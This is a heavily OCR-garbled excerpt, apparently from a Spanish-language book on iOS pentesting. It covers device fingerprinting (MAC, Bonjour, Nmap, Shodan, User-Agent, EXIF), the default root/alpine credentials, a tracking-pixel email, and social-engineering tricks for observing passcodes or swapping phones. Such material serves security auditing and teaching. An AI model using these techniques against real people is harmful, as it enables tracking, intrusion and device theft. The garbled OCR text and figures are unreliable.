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Capirlo I. Identificando dispositivos iOS _ n

Capitulo I
Identificando dispositivos iOS

1.Identificacion de dispositives Apple

Tras la lectura de este libro, conocer cudles son los objetivos potenciales a la hora de realizar
pentesting a un dispositivo Apple serd fundamental. En este capitulo en concreto se van a mostrar
las diversay formas de identificar a las personas que utilizan d:spmllwm 108 (ya sea rj”hane :Pad
0 iPod 1ouch) en su dia a dia. Esto, afiadido a las politicas de BY€ Own Dev
muchas compaiias, permilira saber qué esquemas se utilizan v a qulenes se deben aplu.dr

Descubriendo dispositives i0S en la misma red local

En esta primera parte del capitulo se va a suponcr que se busca dentro de la red aquellos dispositivos
105 conectados. Esto, cn caso de estar realizando una auditoria de seguridad de red, permitird acotar
objclivos para esquemas de ataque que se veran a posleriori.

Por las direcciones MAC

Las MAC Address que sc ul]]mm enlos eqmpos tiene unos bits dedicados al fabricante de las tarjetas.
Estos bits sc llaman QT (07 iR 7)) v definen la compandia que ha creado
el hardware. En los equipos de Apple, © ; larjetaq son fabricadas por ellos mismos, es fcil
identificar a un equipo como un 4pple, la que puede ser muy util en determinadas ocasiones.

La mayoria de las aplicaciones de seguridad de red, como sniffers o cscéneres, llevan incluida una
base de datos de OUI para hacer mucho més comada la visualizacion de datos, pero si 1o es asf, hay
herramientas que permiten la consulta online, ayudando asi a saber si una MAC Address perteneee a
un equipe Apple o, cuales son los QUL de Apple, por poner dos ejemplos.

Un ejemplo de dicha consulta online puede realizarse cn esta URI
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Vendor/Ethernet/Bluetooth MAC Address Lookup and Search

Match your MAC address to its vender.
Match a vendor to the MAC addresses it uses.

MAC Address or Vendor to look for: [Csmng

Swarch by wemdur for example: “aople® or “llied"
Search by MAC Address. For cxampie: 00| 31497 - "00-80-C7° or "000420°

1 vou want to lockup VAC address "0800:52.02:01.FC", enter first & characters TEN0697, or full MAC address DELOBS02:01 FC.

Harafasa k5t updated: fobrvary i 9, 2000

Search results for "apple” {Total: 54)

00D018 [Webster Computer Corporation Appletalk/Ethernet Gateway
000393 |Apple Computer, Inc.

000502 |Apple Computer, Inc. (PCI bus Macs)

Q00A27 Apple Computer, Inc.

COQAYS (Apple Computer, Inc.

000023 Apple Computer, Inc.

0D10FA |Apple Inc (was: zavante. inc) |
001124 |Apple Compurter, Inc. 5

Imagen 01.01: Direcciones MAC utilizadas por Appie.

Ademas de poder identificar a un dispositivo 4dpple en la red en la que se csta, también es posible
maodificar la propia direccion MAC de algunos dispositivos para suplantar a otro fabricante o incluso
a otro sistema operativo. A efectos practicos, cualquier administrador de red avanzado sera capaz de
utilizar mas herramientas para descubrir el engafio, pero esto puade servir en algunas siluaciones.

le interesante sobre

cial 2 |

! Lste dato es muy interesante porque cicrto tipo de ataques Bluetooth necesitan saber la
ireccion MAC dc anlemano. Por ¢jemplo, en un iPad concreto se tienen las siguientes direcciones
MAC:

Tarjeta Direecién MAC
Tnalambrica (Wi-Fi) | B8&:C7:5D:E0:0B:9E
Bluefooh B8:C7:5D:E0:0B:9F

Por el protocolo Bonjour

. ¥y de csta forma
autoconfigurar muchos de estos scrvicios sin la interaccion del usvario,
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Para que pueda funcionar de forma correcta, Borjour envia muchos paquetes en la red anunciando
los servicios que cada dispositivo ofiece, o simplemente anunciando la existencia de los mismos. Lin
¢l caso de cualquier dispositivo con {08, esto siempre se cumple, con lo que es una importante pista
que indica que se esta ante un dispositivo de estas caracteristicas.

IP 10.0.1.6.5353 » 224.0.0.251.5353; 0= [Og] 8-0-5 {(Cache flush) Tl "". PTR
g—mobdeyv . top local | PTR
]:|8 c7:5d:el;0b: QE@feBD -bac? :5dif: feel:h%. _aople-mobdev . _tep local | (Cache
flush) SRV Family=—iPad. local. 62078 0 0. (Cache flush) ETR Familvs
iPad.local.. (Cache flush) PIR Familwv=—iPad. local .. (Cache flush) AAAA
f=f0: -bac? GAff fe=0- bie, (Cache flush) 2 10.0.1.6 (437)
O=x0000: 4500 01d1 =06bh 0000 ££11 Odaf 0200 0106 E
O0=0010: <000 00fL 149 1429 O1bd 01dZ Q000 2400 ... ...
0=0020: 0000 00OB 0000 000G 2a6? 383a A337 3a35 . %DE 75
0=0030; 543a 6530 3230 6233 3965 4086 6538 303a d:=0.0b: 9%=@fadi;
Ox0040: 3a62 6163 3738 3564 BREL 3a86 BSAS 303a :bac?:Gdif fesl:
0=0050: 5239 6504 561 7070 6065 2d6d 662 6465 B9%  ample—mobde
0x0060:. 7604 S£74 6370 0G6c E£63 S1l6c 0000 1080 w._tcop.local. ...

0=x0070: 0100 0011 2400 0100 095f 7365 7276 6963 . . .. _=ervic
0=0080: eE72 07G5f ed6e 732d 7364 D45f 7564 70cl es._dns—=d _udp,
0=0030: 4a00 000 0100 0011 9400 02c0 370 3700 J........... Foif:

0e0020: (c00 0100 0011 9400 02c0 OccO OcO0 2180 ... . ... . 1

0z00b0: 0100 0000 7800 1500 0000 O0f2 7elc 4661 ... .=...... .~ Fa
Uzl0=0:  6do9 6c¥9 7324 6950 £1F64 ~04a 0145 0139 milys—iPad J E.O
0z00c0: 0142 0130 0130 0145 0145 0146 0146 0146 .B.OO.EEF F.F
0=x00=0: 0144 D135 0137 0143 0141 0142 0130 0130 .D. 5.7 C.A.B.0.0
0x00f0: 0130 0130 0130 0130 0130 0130 0130 0130 .0.0.0.0.0.0 0.0
O=0100: 0130 0130 0130 0138 0145 D146 0363 7036 .0.0.0.8.E F ipk
0x0110: 0461 7270 6100 000c BOC1 0000 0078 0002 .&rpa. . ......X..
00120, 0ol 0L36 0131 0130 0231 3007 696 2d61 . . .6.1.U.10.1n-a
0=0130: 6464 72c0 £400 0=80 0100 0000 7800 020 ddr.........x...
0x0140: 3lcO 2100 1cBO 0100 0OOO 7800 10fe BOOOD .. ... .. . .=.. . ..
0=0150: 0000 0000 O0ba c?5d ffife e00b Sec0 2100 . ... .]........
O0x0160: 0180 0100 0000 7800 O40s 0001 O6c0 O=00 . . .. =, ... ... ..

0x0170. 2180 0100 0011 9400 09c0 OcOO0 0500 0080 ~ . ..............
0=x0180: 0040 cOb0 0O02f 8001 0000 0DO78 0006 cObD @, . .~ ..., R

0x0190: 0002 0008 cl06 O02f BOOL1 0000 DO%8 DOOG . ... . .~ .. .. X .
O=x0la0: cl06 0002 0008 c0al 002f 8001 0000 Q078 . ....... .7, .. .=
O=x01b{: 0008 cO0z1 0004 4000 0008 000D 2905 =000 1 e EE
O=z01lcO: 0011 9400 0=00 0400 0300 £9bB c?5d =00 . ............]..
0=0140:" 9=

Imagen (01.02: Captura de un paguete de Bawfour.

De igual forma, también se pueden hacer peticiones al servicio Bonjour (mDNS) del dispositivo que,
en caso de respuesta, permitird conocer el nombre del mismo; para ello, como s¢ ha mencionado
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que Bonjour utiliza DNS, es pos ible usar una herramienta como ara hacer la peticion, con las
caracteristicas que sc comentaron anteriormente: direccion multicast 224.0.0.251 y puerla 5353,

dig @224 0.0 251 -pBI53 —= 10.0.1.6

. e¢ry DiC 9.8 3-P1 <<»» @224.0.0.051 —15353 —= 10.0.1.6
: (1 sereer found)
:: clobal optionz: +rmd
i t onswer.
‘. JS+HEADER<<— opcods: CIERY, status: HOERROE. arl: GE44
L flegs: qr =a; GIERY. 1. ANCWER: 1. ATHCRITY: . ADDITIONAL: O

. QUESTION SECTICH:

'5.1.0,10.1n addr .arpa. 1N PIR
;. BNGUER SECTICH :
6.1 010 in—addr. srpa. 10 N FTR Familys—Pad, local,

oo Ouery tims: V0 nssc

SEEVER: 10 0.1 .6#5253{224.0 0 251)
o WHEN: Thu apr 11 19:25:45 2013

- MOG SIZE rowd: 71

5de Bonjouss

decir. que si sc dispone de un disposilivo que tiene el pucrlo
yue sea un dispositivo iOS. Nmap por ejemplo, también es capaz dc identificar un disposilive (0§ si
tienc esle puerto abierto, (esto cs debido a que Nrmap necesita tener al menos an puerto abierto para
poder hacer todos los fests de deteccion): '

HORT STATE SERVICE VERSICH

F2078-tcp OpeEn  lphone—yrc?

WAC AdSress: UC:74 C2:AM:43.D8 (Epple]

TVarninc: 05Suan rssulis may D2 unreliabls becauss we conld not find at lesst 1
open and 1 clossd port

Dovics typs: media dovics|phone

Rurming: Apple 105 4. X|5 !(]]E i

05 IS cpe <oapple iphons osid cpssacapple: aopls twid
cpe:-o:apple:1jhuns o= 5 cpe:/u:apple.i_ghmﬂ_os:ﬁ

05 dotails Apple Mao O X 108 0 — 100 .2 (Fowntaan Linn) or 105 £.4.2 —
f_ 0.0 {Dagwin 11.0.0 1}

il Por defecto, existen dos usuarios en el dispositivo que poseen sicmpre la misma conlrasefia,
son 108 usuarios 7 Lya \alpinéy por lo que en caso de existir un demonio

SSH con estos usuarios y contrasenas puede indicar que es un dispositivo iOS

De hecho, uno de los primeros gusanos para i0S. ; inf
1635 {iraba) 3asicamente buscaba dispositivos con el puerto de SSH
(22/tcp) activo en los rangos de red usados por las operadoras para 3G. Una ver que encontraba

alguno, probaba a entrar como usuario roar y contrasefia alpine, para poder infectarlo.
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Utilizando Shodan

También es posible encontrar terminales 70S en Internet mediante uno de los buscadores favoritos
de muchos usuarios: Shodan. Fn el momento de escribir estas lineas, si se busca la palabra iPhone
en ¢l buscador aparecen:

- 8 iPhones con servidor FTP
- 168 iPhones con scrvidor web

Mair Explais Razearch V/ Anniv y Pramaoticn

“ SHODAN

HUP 168 Frontiur Communications HITH1.0260 OK
HYTPF Afernate 3 Added on 14042040 Content-Type- textfhin]
SMB 3 | 5 seswinn Content Lengsh: 1507

ate: Thu, 11 Ape 2012 06:02:02 SMT
Server: iPnone Web Server (SMELockSys)
Top Countries

También es posible encontrar un cjemplo de un servidor mal configurado donde se puede acceder a
todo el contenido de un iPhane:

Name Last Modified  Size Type
Parent Directory/ - Direclory
Applications/  2013-Mar-22 01:43:4-  Directory
Documents’  2013-Apr-019 23:28:09-  Directory
Library/ 2013-Mar-27 01:24:32-  Directory

Mediaf 2013-Mar04 20:29:21-  Directory

forwanl 2011-Dct-06 03:31:46 0.1 Kapplicationfoctet-stream
Apmsync 2012-Jan-12 22:55:25 0 OKapplication/octet-stream
\lrmtam? 2012-Jan-12 22:55:25 ¢.0Kapplication/octet-sirem
iPhone Web Server (SMSLockSys)

1 iPhonea través de
Rilianes i
Fvidentemente, no es un descubrimiento de dispositivos en la red local, sino a través de Internet,

pero la posibilidad de buscar en Shodan con el modificador nef (permitiendo acotar las busquedas a
las direcciones IP de la red objetiva), podria determinar si alguno de cllos est4 siendo utiliza en ella.

2. Identificar si un usuario utiliza un dispesitivo i0S

En este caso, ¢l punto de vista de este apartado trata de reconocer si una persona esta utilizando un
dispositivo iOS o no. Iin una auditoria de seguridad la aproximacién seria descubrir a los empleados
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de una empresa, utilizando alguna red social profesional como Linkedin y despucs analizar las
interacciones de esa persona en las redes sociales para descubrir si ¢s usuario o no de i0S.

Por el sistema de mensajeria iMessage

iMessage es ¢l cliente de mensajeria que se utilizan tanto en iOS como en OSX. Desde cualquier
terminal de 708, si ¢l destinatario del mensaje utiliza también el mismo sistema operativo, ¢n vez
de enviar un SMS se enviard un mensaje por la red. Tanto la aplicacion de iOS como la de OSX
permiten saber si el destinatario utiliza también iMessage (y por supuesto, i0S). Basla con observar
4 la hora de crear un nuevo mensaje que existe una pequefia burbuja al lado del numero de teléfono,
que indicara que el destinatariv soporta iMessage:

David Barroso +34 6768 76 iMessage 1 |
David Barroso k- iMessage |

David Barroso iMessage @ |

Por los clientes de redes sociales para iOS

Existen muchas aplicaciones en Internet donde es posible identificar que una determinada persona,
estd utilizando un dispositivo iOS debido al cliente que utiliza de esa aplicacion. Un caso muy
ilustrativo es Twitter, donde dentro de los metadatos de cada rwee! que se publican, se crncuentra
el cliente utilizado para cllo. De esta forma, es posible identificar el sistcma operativo que estd
utilizando una persona simplemente mirando este tipo de metadatos.

En el caso de FaceBook, ya desde 2011 cambiaron la informacion que se ofrecia al incluir contenido
en la red, pasando de “via iPhone” a “via FaceBook mobile” Por ejemplo, justo cuando Alicia Keys
fie nombrada Directora Creativa Global de BlackBerry, publico algun rweet donde se podia ver que
habia sido enviado desde un iPhone. Miés tarde lo intentd arreglar diciendo que su cuenta habiz sido
comprometida.

February 11, 2013 at :10 AM

via Twitter for IFhone

Started from the bottom now were here!
(o[ x[[|&]

< Allcla Keys
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el User-Agent del navegador

4 de las formas comunes de poder detectar si alguien esta usando un dispositivo iOS es a través
las cabeceras HTTP, concretamente el User-4gent. D hecho, es interesante comentar que en esta
ecera se incluye informacion hasta de la version del sistema operativo que estd siendo utilizado.
se licne por gjemplo una peticidn recisnte como esta;

@ozill=/5.0 (iFad: CPU 08 6 1 _3 Tike Mac 0OS X) AppleWsbXit/536.26 (XETML, like
Becko) Vorsion/6.0 Mobile/10B329 Safari/8536.25

e puede apreciar claramente ¢l modelo (iPad), 1a versién del sistema operativo (6.1.3), asi como
versiones del navegador Safari.

_ presentan un contenido u otro. Por ejemplo Google utiliza ¢l siguicnte User-Agent para
simular ser un dispositivo iOS:

Mozillar5.0 (iv¥hone; U; CPU iPhone QF 4 1 Ilike Mac 05 ¥; en-us) ApoloWebEit/532.9
(RHTML, like Gecke) Version/4.0.5 Mobile/8B117 Safari/653..22.7 tcompatinle; Goo-
glehol-Mobile/2.1; +http://www.gocgle.com/boz.haml)
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El cliente c_le correo de iOS

apmvecham, de algunas de sus caracteristicas para poder 1dent1hcar si un usuario esta utilizando
este sistema operativo.

la siguiente:

X-Mailer: iPhcrne Mail (10B144)

Pero no sicmpre sera posible acceder a un correo de este usuario. Una opeién mds interesante es
aprovechar una configuracién por defecto que tiene MobileMail en la que autométicamente carga
todas las imfigenes que tenga el correo clectronico. De esta forma, un atacante podra enviarle un
correo con una imagen incrustada que apunte a un servidor web que controle dicho atacante, y am
este podré ver luego la peticion HTTP que realiza el usuario para descargar esa imagen.

Por ejemplo, si se crea un correo yue tenga ¢l siguicnte contenido:

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN*
“atzp: S Swwwowldlorg/ TR/ xhtml L/ DTD xhtml l-transitional .dtd”>
<html xmlns="http://www.w3.org/199¢/xhtml*>

<hezd>

<meta hrtp-equiv="Content-Type” content="text/hlml; charset=utf-8" />
<title>Urgente</title>

</h=ad>

<bady>

<hl>alea jacta sst</hl>

<img src="http://www.midominio.com/chunge.ipg”> />

</hody>

</html>

[11/2pr/2013:20:11:56 +0200] “GET /chungo. jpg HITE/1.0” 404 862 “-” “Mozilla/5.0
{iPhone; CPU iPhone €S € 1 like Mac 035 X) ApplewWebKil/536.26 (KHTML, like Geckc)
Moblle/10B144”

Por defecto viene activada la carga automatica de iméagenes en MobileMail, aunque es posible
desactivarla en la configuracion; ahora bien, en caso de realizar dicha desactivacién no solo no se
podré ver ninguna imagen de ningiin correo, sino que tampoco se cargara ningan archivo JavaScript
0 (S8, con lo que la experiencia del usuario se degradara notablemente.

Por ultimo, también cs posible identificar a un usuario de iOS por las famosas firmas de correo como

“Enviado desde mi iPhone” o “Enviado desde mi iPad”. Una simple busqueda en Google en un
repositorio de listas de correo como, svuelve mas de 500.000 resultados de
correos con “Sent from my iPhone” y mas de 40.000 de “Sent from my iPad”.
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astes  Correo, contactos, cal...

Mostrar Los 50 mas recientes » E

Previsualizacion

Etiqueta Para/Cc

Preguntar al borrar

Cargar imagenes

Organizar cadenas

Afiadirme a Cco

Aumentar nivel de cita

Imagenes publicadas

estos metadatos, pero en algunas ocasiones si que es posible acceder a esta informacion. Por ejemplo,
en ¢l caso de una fotografia realizada por un iPhore, dentro de los datos EXIF, sc pucden observar
diversos detalles que permitan identificar, (entre otros muchos datos), el modelo del dispositivo
empleado:

Make : Zpple

Camera Modicl Xeme : 1Phone £

Orientation : Horizanlal (normal)

Aperture i 2.8

GES AllLilude : 170.8 m Zbove Sea Level

GES Latituda : B geg BN ABE00F'Y

GPS Longitude : 14 demy 2R LGS B

BPS Fusiticn : 50 deg §* 15.00" X, 14 deg 25 16207 R
Image Sire 1 25901938

Este caso concreto sucedid en la tuga de John McAdffe, programador estadounidense v fundador de
la empresa de antivirus Med/ee, perseguido por la justicia v huido del pais. Una fotografia realizada
con el iPhone 48 del periodista que lo entrevistd, no solo dejaba a las claras el terminal iPhone que
usaba, sina que ademas se pudo ver la intormacion GPS de la ubicacion en la que se encontraba, que
resulto ser Guatemala. ‘i
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Comparticién de Internet por Wi-Fi

Normalmente, los terminales iPhone acaban llamandose “iPhone de Antonia™ o “iPhone de Susana’”,
es decir, el nombre del propietario del mismo. Este nombre es el que por defecto va a utilizar el
servicio de Infernet Tethering, o de “Compartir Internet” a través de iPhone, para identificar la red
Wi-Fi que se publica.

Esto puede traer situaciones curiosas en algunos entornos que pueden ayudar a localizar a una
persona en una oficina, en una sala de conferencias o en un medio de transporte. Los comerciales
mas avispados, revisan las redes Wi-Fi que se publican en los bares 0 en las oficinas, para poder
localizar si el sefior X, al que tienen que visitar, estd o no por los alrededores.

Wi-Fi: activado
Desactivar Wi-Fi

Ninguna red seleccionada

AndroidAP as
iPhone de HERMINIO CANO a®
iPhone de ROBERTO PARRRA a @
Secureap a®
VisionMobile2021 a=

Acceder a otra red..;
Crear red...
Abrir el panel de preferencias Red...

Imagen 01.11: Ileminio Cano y Roberto Parra presentes

Tener encendida la Wi-Fi en iPhone es algo que consume mucha bateria y expone la informacién
Bluetoorh. En caso de que se vaya a compartir Internet, un usuario tiene la posibilidad de evitar los
ataques innecesarios que pueda querer hacerle cualquier atacante cercano, conectando el terminal
por USB. Una opcion para un usuario que no quiera ser localizado y tenga que conectar el servicio
por Wi-I'i, consiste simplemente en cambiar el nombre al dispositivo por algo que no identifique a
dicho usuario, teniendo que acordarse de apagarlo después de su utilizacion.

No-tech hacking

Por ultimo, siempre queda la opcion mas sencilla de todas, que no requiere de ninguna complejidad
téenica. Si se dispone de alguna foto del abjetivo en donde aparece con un iPhone o con un iPad, ya
sea en sus manos, o en su habitacidn, es muy probable que sea su teléfono de uso habitual. Es fécil
ver a famosos con sus terminales en la mano, por ejemplo.
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Capitulo I1
Ataques locales
(iPhone Local Tricks)

1. Introduccion

En un proceso de pentesting. cuando se esta haciendo la auditoria interna, tal vez sea necesario sacar
informacion de un terminal iPhone (o iPad) al que se liene aceeso solo durante unos minutos, por
sjemplo porque se ha ido su ducfio un momento al bafio, y el atacante se ha quedado solo en una
sala de reuniones esperdndolo, o por cualquier otra circunstancia. En esos momentos no sc pucde
hacer un volcado del disco del terminal, o realizar un Jailbreak, o un hackup, v solo se tienen unos
instantes de tiempo para manipular ¢l terminal y dejarlo como estaba antes de que venga el dusfio
dcl mismo.

Por supuesto, aunque no se pueda acceder a todos los datos que sc csconden el terminal. tal vez sea
posible llevarse alge de informacion dlil sin wner que robar el terminal. poniéndose asi el atacante
en una situacion comprometida. Si ademas se han seguido los pasos adecuados y se ha estudiado al
objetivo previamente, averiguando la version exacta de iOS que tienc su iPhone, su iPod Touch o su
iPad. puede que sobre tiempo para hacer olras cosas después de sacar la informacién.

. Quc mformacion es posible extraer de un terminal que esté bloqueado con ¢l pavscode sin hacer
un Jailbreak al dispositivo? Lo cierto es que hay varias csiratcgias de ataque en las que influye la
configuracion por defceto del terminal, las aplicaciones que haya instalado el usuario y la version
exacta de parcheo del sistema operativo (ya que version tras version han ido aparcciendo fallos de
seguridad que permiten desbloquear un iPhone o un iPad sin conocer el passcade).

En este capitulo se mostrardn cudles son las debilidades de configuracion y los fallos de seguridad
gue se conocen de las Ultimas versiones de fOS, dejando al lector la labor de preparar la estralegia de
un ataque para que funcione en los minutos que se tengan disponibles para manipular el dispositivo.

Se recuerda que para conoeer la version exaera del sistema operativo del objetivo a atacar, solo hay
quc conseguir que la victima se conecte a un servidor web controlade (mediante un link por Twitter
o un mensaje acortado) v analizar el User-Agent de la conexion, tal y como se ha visto y se mostrard
en otros capitulos de este libro.



Hacking de dispositives i0S: iPhone & iPad

Reconocer el modelo de dispositivo en una inspeccién preliminar

Un ojo bien avezado puede obtener mucha informacion de un terminal iPhone solo con verlo. Se
recomienda conocer bien los modelos de iPhone (0 iPad) para saber qué version de sistema operativo
se encuentra en cada uno de ellos. A dia de hoy lo més comiin que se puede encontrar son cquipos
iPhone 3, iPhone 45, iPhone 4 y algun iPhone 3GS.

Reconocer un iPhone 5 es facil, ya que es mas estrecho y alargado que el il’hone 4 o iPhone 485,
famoso por tener la anlcna alrededor del terminal. Ll iPhone 3GS es el que tiene los laterales
redondeados, al igual que el va abandonado iPhone 3G.

iPhone 5 iPhone 4 iPhone 4

Imagen 02.01: iPhone 4, iPhone 45 e iPhone 3 diferencias fisicas.

Diferenciar fisicamente un iPhone 4 de un iPhore 45 es posible, ya que basta con mirar los cortes
en la antena que rodea al teléfono. En iPhone 4 hay dos cortes, uno en la parte superior y otro cn
el lateral de los bulones. Por el contrario, en el iPhone 45 los dos cortes se encueniran en ¢l mismo
lado, es decir, en el lado de la botonera,

Tmagen 02.02: Los laterales del iPad [ son rectos.

Fn el caso de iPad, reconocer los modelos con una inspeccién preliminar también es posible. Til
primer iPad, (al que llamaremos iPad 1), cs ¢l tnico que tiene los laterales rectos, mientras que el
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resto de los modelos Licnen los laterales redondeados y solo se vendio en color mcetalico. i’ad 2 es el
moedelo que lleva la Smart Cover, es deeir, la proteceién magnética quc interactiia con el dispositivo
solo cn la parte delantera y ademis cs el mas delgado de todos.

Imagen 02.03: iPered 2 junto 2 un iPad 3.

iPad 3, 0 new iPad, salié con Smarr Cover delantera y trasera y se diferencia de iPuad 2 en que mide
6 milimetros mds de grosor y tiene ligeramente distintos los bordes de las esquinas y por detrds,
iPad 1 lleva una pestaia negra en la parte superior. Diferenciar iPadl 3 del New new iPad es posible
porque cste tltimo lleva el coneclor lightning al igual que iPhone 3. Por Gltimo iPad mini es el iPad
pequefio y a dia de hoy solo hay una version en ¢l mercado.

Imagen 02.04: iPad 3 vy New new iPad.

Hay que tencr cn cuenta que si tiene una funda que no es la estandar ¢s una buena noticia para
¢l alacante puedes tener que ser bueno. Reconocer la version hardware es importante, ya gue asi
&s posible saber méds 0 menos con qué version de i se va a encontrar. Esto cs asi debido a que
las versiones que se pueden instalar ¢n un terminal concreto sin manipularlo con Jailbreak estin

limitadas. La siguiente tabla rccoge las versiones que pucden estar instaladas en cada version del
terminal.
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. Modelo Versidn de sistema operativo 108 que puede tener instalado
iPhones  |i0S6ai0S6.13
iPhone 48 i08352i056.1.3
ihone 4 iOS 4205 6.1 .3 i
iPhone 3GS {08 3205 6.1.3 |

New new iPad i0S 6, i056.1.3 |

[ iPad 3 (new iPad) | i0S 5.1 2108 6.1.3

iPad 2 i0S 4.3 i0S 6.1.3 =
iPad i0S 3.X2i0S 5.1.1 3

[ iPadmini | i0S62i056.13 .

Tabla 02.01: Versiones soportadas de i(}S por los diferentes modelos de iPhone o iPad.

Como se puede ver, iPhone 3GS es el que mas variedad de versiones soporta. Se han dejado fuera
de este estudio las versiones de (OS soportadas de iPod Touch, y los ilPhone CDMA, estos tltimos
solo utilizados en Estados Unidos para comunicaciones de voz sobre redes Wi-Fi. Ademas. hay que
tener en cuenta que, a pesar de que iPhone 3GS, iPhone 4 o iPad 2 soportan (08 5 o iOS§ 6, este
vicne con limitaciones y no existen funciones de mapas ni Siri, que como ya se vera es muy util ¢n
un procesa de pentesting.

En i0S 6.1 se ha introducido una nueva forma de reconocer el sistema operativo, ya que se ha
cambiado cl aspecto del reproductor de musica, asi que basta con hacer dos clics en el boton de
accion para acceder al reproductor ¥ saber qué version es. Si tiene el nuevo (mas minimalista) es la
version iOS 6.1 o superior. Ademés, es posible acceder al ultimo recurso que sc ha visitado, y esto
puede ser hasta un video de Internet, donde se podria saber qué estaba haciendo el usuario.

g

. P T —

Tech News Teday hanoing Page's Ranking

Imagen 02.05: Reproductor de i(S 6.7 en el que s¢ ve la URL de un video y reproductor de versivnes anteriores.

De todas formas, si el atacante se tiene que enfrentar a un dispositive iPod Touch. iPhone CDMA
o Apple TV y quiere saber qué versiones de iOS podria estar corricndo, puede ir a la fecha de
lanzamiento del producto en Wikipedia y buscar dicha fecha en hrp:/support. Apple.com/kb/

HT1222, que mostrard cuando salié cada actualizacion de iOS. Se puede apreciar que siempre hay
una version que coincide con la fecha del lanzamiento del producto.
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(]
]

Los nﬁmerus de scrie v el IMEI

utilizados para trazar la linea de la I:ustorla del dlsposmvo que va desde las caracteristicas dc
fabricacion hasta su duefio punto de venta, siendo también posible para reconocer el terminal en las
redes de telefonia por medio del IMET v, eventualmente, bloquear el dispositivo cuando haya sido
rohado o perdido.

Imagen 02.06: Nameros de seric de un iPad

Las ubicaciones del IMEI cambian dependiendo del modclo, pero todos estan en el terminal. Lin
iPady en iPhone 5 los niimeros IMEI estan en la parte posterior del terminal, mientras que en los
iPhone 3G, iPhone 3GS, iPhone 4y en los iPhone 4S hay que sacar la tarjeta SIM, ya que csld en la
carcasa. Para ello se debe llevar la llave de apertura de la SIM cntre lus ganzias de Lockpicking (esta
lave es util si ademas sc desea realizar algilin ataque que se mostrard mas adelante), e introducirla en
el agujero que hay en la ranura lateral de la SIM. %0

Imagen U2.07; NOmero de serie en bandcja de la SIM y llave para extraccion.
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81 no se dispone de una llave a mano, siempre se puede utilizar un clip, e introducirlo con mucho
cuidado. En la web de Apple cstan las explicaciones para cada modelo, pero todos son basicamente
igual, simplemente hay que buscar el agujero, meter la llave, hacer clic y sacar la bandeja.

Imagen 02.08: Proceso de extraccion de SIM.

Los numeros de serie pueden ser obtenidos con solo visualizar la parte posterior del teléfono, asi
que para tenerlos bien inventariados en un analisis forense o utilizarlos cuando sea preciso (como
por gjemplo para “dar un cambiazo™ posteriormente y llevarse el correcto) o realizar un ataque de
ingenieria social del tipo:

“Hola, somos de Apple y hemos delectado que su modelo liene un fallo de fabricacion y le vamos a
llevar un iPhone 3 en sustitucion a todos los clientes cuyo niimero de servie acabe en X

R earp——

Tmagen 02.09: Descripeion completa da un terminal a partiv de su IMEL
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Estos datos, por lo que se pueda necesitar en el futuro, se pueden oblener répidamente haciendo una
fotogralia a la parle posterior del dispositivo del ohjetivo. Ademas, el e6digo IMEI puede servir para
conacer en detalle las caracteristicas fisicas del terminal. v saber entre otras cosas si es un iPad 3, 0
un New new iPad v si tiene 3G o solo Wi-Fi.

Para ello se pueden utilizar maltiples bases de dalos de consulta de mform
partir del codigo TMET en Internet. Para este ejemplo se ha utilizado :
introdueir el valor del IMEI se obtendrén todas las caracteristicas del rnuddn Esta base de datos
tiene limitado el niumero de consullas por dia, pero ademas permite saber si el IMLI esta bloqueado
en los aperadores por alguna denuncia de robo.

d ltrminal a

Codigos de marcado especiales

En iPhone. como cn muchos de los terminales, se pueden utilizar codigos de marcado especiales que
pueden ser utilizados desde la aplicacion de realizacion de llamadas. Esto permite, (a pesar de que no
se haya conseguido desbloquear todo el terminzl con un bug), el poder lanzar comandos desde dicha
aplicacion alli. Estos cédigos los hay para la realizacion de llamadas v para el envio de mensajes
SMS y, dependiendo del operador de telefonia funcionaran unos u otros. La lista de eodigos que se
pueden utilizar es:

Cadigo Utilidad
*H06H Muestra el IMEI del terminal. B
n . Mugstra el Field Test, que serd de gran avuda para los ataques de una
30014123458 2 7 e ]
estacion de telefonia falsa, como ser vera mas adelante en este libro.
e Muestra si existen desvios de llamadas para diferentes servicios
i3 activados.
=443¢% Muestra la lista de llamada en espera.
*H307% Muestra la configuracion de ver el nimero de quién te estd llamando.
33 Muestra configuraciones especiales de iPhone.
73 Iimimero Permite hacer una llamada oculta al niimero que se marque.
F04*antiguoPIN i) :
*nuevoPIN*nuevoP[N# Cambia el valor del PIN.

‘labla 02.02: Lista de codigos de marcado ¢speciales.

Estos codigos no son tnicos de iPhone, y segin los operadores sc ofreeen mas o menos codigos,
por lo que es muy interesanle averiguar antes el operador al que se conecta este terminal. sto es tan
sencillo como ver la red a la que se conecta o hacer un ataque Client-side tal y como se ve en otro
capitulo, usando por ejemplo un correo electronico o un hiperenlace para averiguar a qué operador
pertenece la direccion TP por la que se conecta el dispositivo.
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2. Adivinar el passcode de un iPhone

En este apartado se realizara una descripeion sobre los distintos métodos que pueden ser empleados
para averiguar del sistema operativo 705,

Shoulder Surfing

Para intentar sacar datos dc un objetivo en concreto hay que prestar mucha atencién al passcode
de la victima. Para ello, conviene preparar una estrategia sencilla que permita estar cerca de dicha
victima cuando vayva a interrrupirlo. Esto se conoce como Shoulder Surfing, o simplemente, “Mirar
por encima del hombro™. 4 4

La forma mas sencilla es programar un Tweer. un SMS. o un Whatsapp para que le llegue a la
victima cuando el atacante esté presente. Una forma que tiene dicho atacante de hacerlo es (en caso
de tenerlo escrito) enviarlo disimuladamente cuando se esté en Ta mejor posicion y utilizar un poco
de ingenicria social del tipo: “Te lo envié antes de venir . En caso de utilizar este truco, esta bien que
antes de enviarlo se le diga a la victima algo como “;No te ha llegado el mensaje que te envié esta
mafiana?”". Todo el mundo estd acostumbrado a que cso sea un caso normal, asi que no se extrafiard
para nada.

Para hacer esto es posible incluso usar los servicios de las operadoras que permiten diferir la entrega
del SMS. Por ejemplo. en Movistar, para retrasar la entrega de un SMS 1 hora basta con comenzar
el mensaje con *POST [#Mensaje.

Shoulder Surfing con iSpy

Como manera avanzada dc hacer Shoulder Surfing en dispositivos il’hone, (debido al especial
funcionamicnto del teclado y a lo estandarizado en los modelos), es utilizar una herramienta llamada
iSpy que permite reconocer lo que una persona estd tecleando a partir de una grabacion de video. En
este caso, preparar una estralegia es mucho mas complicado v solo podra utilizarse cuando haya una
camara de vigilancia o un entorno especialmente preparado, por ejemplo en una sala de reuniones
donde se haya montado un sistema de grabacion previamente. 1\

Survelllance video 5 Alignment to

and tracking reference image

Output text _ [ quick brown fox__|

Language model Kay pl'm-ss detection

Imagen 02.10: Proceso de reconocimiento de teclado de iPhone en video con iSpi



